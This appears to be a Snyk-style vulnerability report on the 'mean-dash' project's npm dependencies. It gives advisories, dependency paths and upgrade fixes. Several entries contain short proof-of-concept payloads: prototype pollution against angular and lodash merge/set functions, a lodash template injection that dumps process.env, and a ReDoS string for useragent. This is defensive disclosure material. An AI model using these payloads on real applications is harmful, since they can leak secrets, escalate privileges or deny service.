Affected versions of this package are vulnerable to Prototype Pollution. The function merge() could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.
PoC by Snyk
angular.merge({}, JSON.parse('{"__proto__": {"xxx": "polluted"}}'));
console.log(({}).xxx);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade angular to version 1.7.9 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: gulp@3.9.1, jshint@2.9.3 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › lodash@1.0.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint@2.9.3 › lodash@3.7.0Remediation: Upgrade to jshint@2.9.6.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint-loader@0.8.4 › rcloader@0.1.2 › lodash@2.4.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › lodash@3.10.1Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › lodash@3.10.1Remediation: Upgrade to karma-webpack@2.0.10.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.
PoC by Snyk
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
For more information, check out our blog post
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.12 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: gulp@3.9.1, jshint@2.9.3 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › lodash@1.0.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint@2.9.3 › lodash@3.7.0Remediation: Upgrade to jshint@2.9.6.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint-loader@0.8.4 › rcloader@0.1.2 › lodash@2.4.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › lodash@3.10.1Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › lodash@3.10.1Remediation: Upgrade to karma-webpack@2.0.10.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the set and setwith functions due to improper user input sanitization.
PoC
lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.17 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: gulp@3.9.1, jshint@2.9.3 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › lodash@1.0.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint@2.9.3 › lodash@3.7.0Remediation: Upgrade to jshint@2.9.6.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint-loader@0.8.4 › rcloader@0.1.2 › lodash@2.4.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › lodash@3.10.1Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › lodash@3.10.1Remediation: Upgrade to karma-webpack@2.0.10.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.11 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: gulp@3.9.1, jshint@2.9.3 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › lodash@1.0.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint@2.9.3 › lodash@3.7.0Remediation: Upgrade to jshint@2.9.6.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint-loader@0.8.4 › rcloader@0.1.2 › lodash@2.4.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › lodash@3.10.1Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › lodash@3.10.1Remediation: Upgrade to karma-webpack@2.0.10.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Code Injection via template.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
Remediation
Upgrade lodash to version 4.17.21 or higher.
References
high severity
- Vulnerable module: lodash.template
- Introduced through: gulp@3.9.1, gulp-template@4.0.0 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › gulp-util@3.0.8 › lodash.template@3.6.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp-template@4.0.0 › gulp-util@3.0.8 › lodash.template@3.6.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › run-sequence@1.2.2 › gulp-util@3.0.8 › lodash.template@3.6.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › gulp-util@3.0.8 › lodash.template@3.6.2
Overview
lodash.template is a The Lodash method _.template exported as a Node.js module.
Affected versions of this package are vulnerable to Code Injection via template.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
Remediation
There is no fixed version for lodash.template.
References
high severity
- Vulnerable module: axios
- Introduced through: browser-sync@2.29.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.
Workaround
Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.
Remediation
Upgrade axios to version 0.28.0, 1.6.0 or higher.
References
high severity
- Vulnerable module: diff
- Introduced through: mocha@3.5.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › mocha@3.5.3 › diff@3.2.0Remediation: Upgrade to mocha@5.0.3.
Overview
diff is a javascript text differencing implementation.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can cause an impact of about 10 seconds matching time for data 48K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 16th, 2018 - Initial Response from package owner
- Mar 5th, 2018 - Fix issued
- Mar 6th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade diff to version 3.5.0 or higher.
References
high severity
- Vulnerable module: shelljs
- Introduced through: jshint@2.9.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint@2.9.3 › shelljs@0.3.0Remediation: Upgrade to jshint@2.13.4.
Overview
shelljs is a wrapper for the Unix shell commands for Node.js.
Affected versions of this package are vulnerable to Improper Privilege Management. When ShellJS is used to create shell scripts which may be running as root, users with low-level privileges on the system can leak sensitive information such as passwords (depending on implementation) from the standard output of the privileged process OR shutdown privileged ShellJS processes via the exec function when triggering EACCESS errors.
Note: Thi only impacts the synchronous version of shell.exec().
Remediation
Upgrade shelljs to version 0.8.5 or higher.
References
high severity
- Vulnerable module: webpack-dev-server
- Introduced through: webpack-dev-server@1.16.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-dev-server@1.16.5Remediation: Upgrade to webpack-dev-server@5.2.1.
Overview
webpack-dev-server is an Uses webpack with a development server that provides live reloading. It should be used for development only.
Affected versions of this package are vulnerable to Origin Validation Error via theOrigin header, which allows IP address origins to connect to WebSocket in the checkHeader function. An attacker can obtain sensitive data when accessing a malicious website with a non-Chromium-based browser by exploiting the WebSocket connection.
Note: Chrome 94+ (and other Chromium-based browsers) users are unaffected by this vulnerability due to the non-HTTPS private access blocking feature.
Remediation
Upgrade webpack-dev-server to version 5.2.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: browser-sync@2.29.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.
Remediation
Upgrade axios to version 1.12.0 or higher.
References
medium severity
new
- Vulnerable module: js-yaml
- Introduced through: coveralls@2.13.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › js-yaml@3.6.1Remediation: Upgrade to coveralls@3.0.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Prototype Pollution via the merge function. An attacker can alter object prototypes by supplying specially crafted YAML documents containing __proto__ properties. This can lead to unexpected behavior or security issues in applications that process untrusted YAML input.
Workaround
This vulnerability can be mitigated by running the server with node --disable-proto=delete or by using Deno, which has pollution protection enabled by default.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade js-yaml to version 3.14.2, 4.1.1 or higher.
References
medium severity
- Vulnerable module: useragent
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › useragent@2.3.0
Overview
useragent is an allows you to parse user agent string with high accuracy by using hand tuned dedicated regular expressions for browser matching.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the usage of insecure regular expressions in the regexps.js component.
PoC
var useragent = require('useragent');
var attackString = "HbbTV/1.1.1CE-HTML/1.9;THOM " + new Array(20).join("SW-Version/");
// A copy of the regular expression
var reg = /(HbbTV)\/1\.1\.1.*CE-HTML\/1\.\d;(Vendor\/)*(THOM[^;]*?)[;\s](?:.*SW-Version\/.*)*(LF[^;]+);?/;
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + attackString + '\r\n\r\n';
console.log(useragent.parse(request).device);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
